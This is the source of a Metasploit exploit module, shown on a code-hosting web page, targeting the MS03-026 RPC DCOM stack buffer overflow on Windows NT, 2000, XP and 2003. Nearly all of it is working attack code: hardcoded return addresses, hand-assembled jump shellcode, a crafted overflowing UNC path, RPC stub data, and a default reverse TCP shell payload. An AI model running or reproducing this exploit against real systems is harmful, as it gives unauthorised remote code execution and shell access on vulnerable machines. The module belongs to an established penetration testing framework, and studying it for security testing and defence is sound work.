Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/dcerpc/ms03_026_dcom.rb
32411 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'MS03-026 Microsoft RPC DCOM Interface Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the RPCSS service, this vulnerability
18
was originally found by the Last Stage of Delirium research group and has been
19
widely exploited ever since. This module can exploit the English versions of
20
Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one request :)
21
},
22
'Author' => [ 'hdm', 'spoonm', 'cazz' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2003-0352' ],
26
[ 'OSVDB', '2100' ],
27
[ 'MSB', 'MS03-026' ],
28
[ 'BID', '8205' ],
29
],
30
'Privileged' => true,
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
'PAYLOAD' => 'windows/shell/reverse_tcp'
34
},
35
'Payload' => {
36
'Space' => 880,
37
'MinNops' => 300,
38
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
39
'StackAdjustment' => -3500
40
},
41
'Targets' => [
42
# Target 0: Universal
43
[
44
'Windows NT SP3-6a/2000/XP/2003 Universal',
45
{
46
'Platform' => 'win',
47
'Rets' =>
48
[
49
0x77f33723, # Windows NT 4.0 SP6a (esp)
50
0x7ffde0eb, # Windows 2000 writable address + jmp+0xe0
51
0x010016c6, # Windows 2000 Universal (ebx)
52
0x01001c59, # Windows XP SP0/SP1 (pop pop ret)
53
0x001b0b0b, # Windows 2003 call near [ebp+0x30] (unicode.nls - thanks Litchfield!)
54
0x776a240d, # Windows NT 4.0 SP5 (eax) ws2help.dll
55
0x74ff16f3, # Windows NT 4.0 SP3/4 (pop pop ret) rnr20.dll
56
]
57
},
58
],
59
],
60
'Notes' => {
61
'Stability' => [ CRASH_SERVICE_DOWN ],
62
'SideEffects' => [ IOC_IN_LOGS ],
63
'Reliability' => [ REPEATABLE_SESSION ]
64
},
65
'DefaultTarget' => 0,
66
'DisclosureDate' => '2003-07-16'
67
)
68
)
69
end
70
71
# don't bother with this module for autoexploitation, it creates
72
# false-positives on newer systems.
73
def autofilter
74
false
75
end
76
77
def check
78
begin
79
connect
80
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
81
return CheckCode::Safe("SMB error: #{e.message}")
82
end
83
84
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])
85
86
begin
87
dcerpc_bind(handle)
88
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
89
return CheckCode::Safe("SMB error: #{e.message}")
90
end
91
92
CheckCode::Detected
93
end
94
95
def exploit
96
connect
97
print_status("Trying target #{target.name}...")
98
99
handle = dcerpc_handle('4d9f4ab8-7d1c-11cf-861e-0020af6e7c57', '0.0', 'ncacn_ip_tcp', [rport])
100
101
print_status("Binding to #{handle} ...")
102
103
begin
104
dcerpc_bind(handle)
105
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
106
fail_with(Failure::NotVulnerable, "SMB error: #{e.message}")
107
end
108
109
# Carefully create the combination of addresses and code for cross-os exploitation
110
xpseh = rand_text_alphanumeric(360, payload_badchars)
111
112
# Jump to [esp-4] - (distance to shellcode)
113
jmpsc =
114
"\x8b\x44\x24\xfc" + # mov eax,[esp-0x4]
115
"\x05\xe0\xfa\xff\xff" + # add eax,0xfffffae0 (sub eax, 1312)
116
Rex::Arch::X86.jmp_reg('eax') # jmp eax
117
118
# Jump to [ebp+0x30] - (distance to shellcode) - thanks again Litchfield!
119
jmpsc2k3 =
120
"\x8b\x45\x30" + # mov eax,[ebp+0x30]
121
"\x05\x24\xfb\xff\xff" + # add eax,0xfffffb24 (sub 1244)
122
Rex::Arch::X86.jmp_reg('eax') # jmp eax
123
124
# Windows 2003 added by spoonm
125
xpseh[246 - jmpsc2k3.length, jmpsc2k3.length] = jmpsc2k3
126
xpseh[246, 2] = Rex::Arch::X86.jmp_short("$-#{jmpsc2k3.length}")
127
xpseh[250, 4] = [ target['Rets'][4] ].pack('V')
128
129
xpseh[306, 2] = Rex::Arch::X86.jmp_short('$+8')
130
xpseh[310, 4] = [ target['Rets'][3] ].pack('V')
131
xpseh[314, jmpsc.length] = jmpsc
132
133
#
134
# NT 4.0 SP3/SP4 work the same, just use a pop/pop/ret that works on both
135
# NT 4.0 SP5 is a jmp eax to avoid a conflict with SP3/SP4
136
# HD wrote NT 4.0 SP6a, and it's off in a different place
137
#
138
# Our NT 4.0 SP3/SP4/SP5 overwrites will look something like this:
139
# (hopefully I'm accurate, this is from my memory...)
140
#
141
# |---pop pop ret-------- --eax---|
142
# V | | V
143
# [ jmp +17 ] [ ret sp3/4 ] [ ret sp5 ] [ jmpback sp5 ] [ jmpback sp3/4 ]
144
# 4 4 4 5 5
145
# | ^
146
# --------------------------------------------------|
147
# The jmpback's all are 5 byte backwards jumps into our shellcode that
148
# sits just below these overwrites...
149
#
150
151
nt4sp3jmp = Rex::Arch::X86.jmp_short("$+#{12 + 5}") +
152
rand_text(2, payload_badchars)
153
154
nt4sp5jmpback = "\xe9" + [ ((5 + 4 + payload.encoded.length) * -1) ].pack('V')
155
nt4sp3jmpback = "\xe9" + [ ((12 + 5 + 5 + payload.encoded.length) * -1) ].pack('V')
156
ntshiz =
157
nt4sp3jmp +
158
[ target['Rets'][6] ].pack('V') +
159
[ target['Rets'][5] ].pack('V') +
160
nt4sp5jmpback +
161
nt4sp3jmpback
162
163
# Pad to the magic value of 118 bytes
164
ntshiz += rand_text(118 - ntshiz.length, payload_badchars)
165
166
# Create the evil UNC path used in the overflow
167
uncpath =
168
Rex::Text.to_unicode('\\\\') +
169
make_nops(32) +
170
171
# When attacking NT 4.0, jump over 2000/XP return
172
Rex::Arch::X86.jmp_short(16) +
173
Rex::Arch::X86.jmp_short(25) +
174
[ target['Rets'][2] ].pack('V') + # Return address for 2000 (ebx)
175
[ target['Rets'][0] ].pack('V') + # Return address for NT 4.0 SP6 (esi)
176
[ target['Rets'][1] ].pack('V') + # Writable address on 2000 and jmp for NT 4.0
177
make_nops(88) +
178
Rex::Arch::X86.jmp_short(4) +
179
rand_text(4, payload_badchars) +
180
make_nops(8) +
181
Rex::Arch::X86.jmp_short(4) +
182
Rex::Arch::X86.jmp_short(4) +
183
make_nops(4) +
184
Rex::Arch::X86.jmp_short(4) +
185
rand_text(4, payload_badchars) +
186
payload.encoded +
187
ntshiz +
188
xpseh +
189
Rex::Text.to_unicode("\\\x00")
190
191
# This is the rpc cruft needed to trigger the vuln API
192
stubdata =
193
NDR.short(5) +
194
NDR.short(1) +
195
NDR.long(0) +
196
NDR.long(0) +
197
rand_text(16) +
198
NDR.long(0) +
199
NDR.long(0) +
200
NDR.long(0) +
201
NDR.long(0) +
202
NDR.long(0) +
203
NDR.long(rand(0xFFFFFFFF)) +
204
NDR.UnicodeConformantVaryingStringPreBuilt(uncpath) +
205
NDR.long(0) +
206
NDR.long(rand(0xFFFFFFFF)) +
207
NDR.long(rand(0xFFFFFFFF)) +
208
NDR.long(1) +
209
NDR.long(rand(0xFFFFFFFF)) +
210
NDR.long(1) +
211
NDR.long(rand(0xFFFFFFFF)) +
212
NDR.long(rand(0xFFFFFFFF)) +
213
NDR.long(rand(0xFFFFFFFF)) +
214
NDR.long(rand(0xFFFFFFFF)) +
215
NDR.long(1) +
216
NDR.long(1) +
217
NDR.long(rand(0xFFFFFFFF))
218
219
print_status("Calling DCOM RPC with payload (#{stubdata.length} bytes) ...")
220
221
begin
222
dcerpc_call(0, stubdata, nil, false)
223
rescue StandardError => e
224
raise e unless e.to_s.include?('STATUS_PIPE_DISCONNECTED')
225
end
226
227
handler
228
disconnect
229
end
230
end
231
232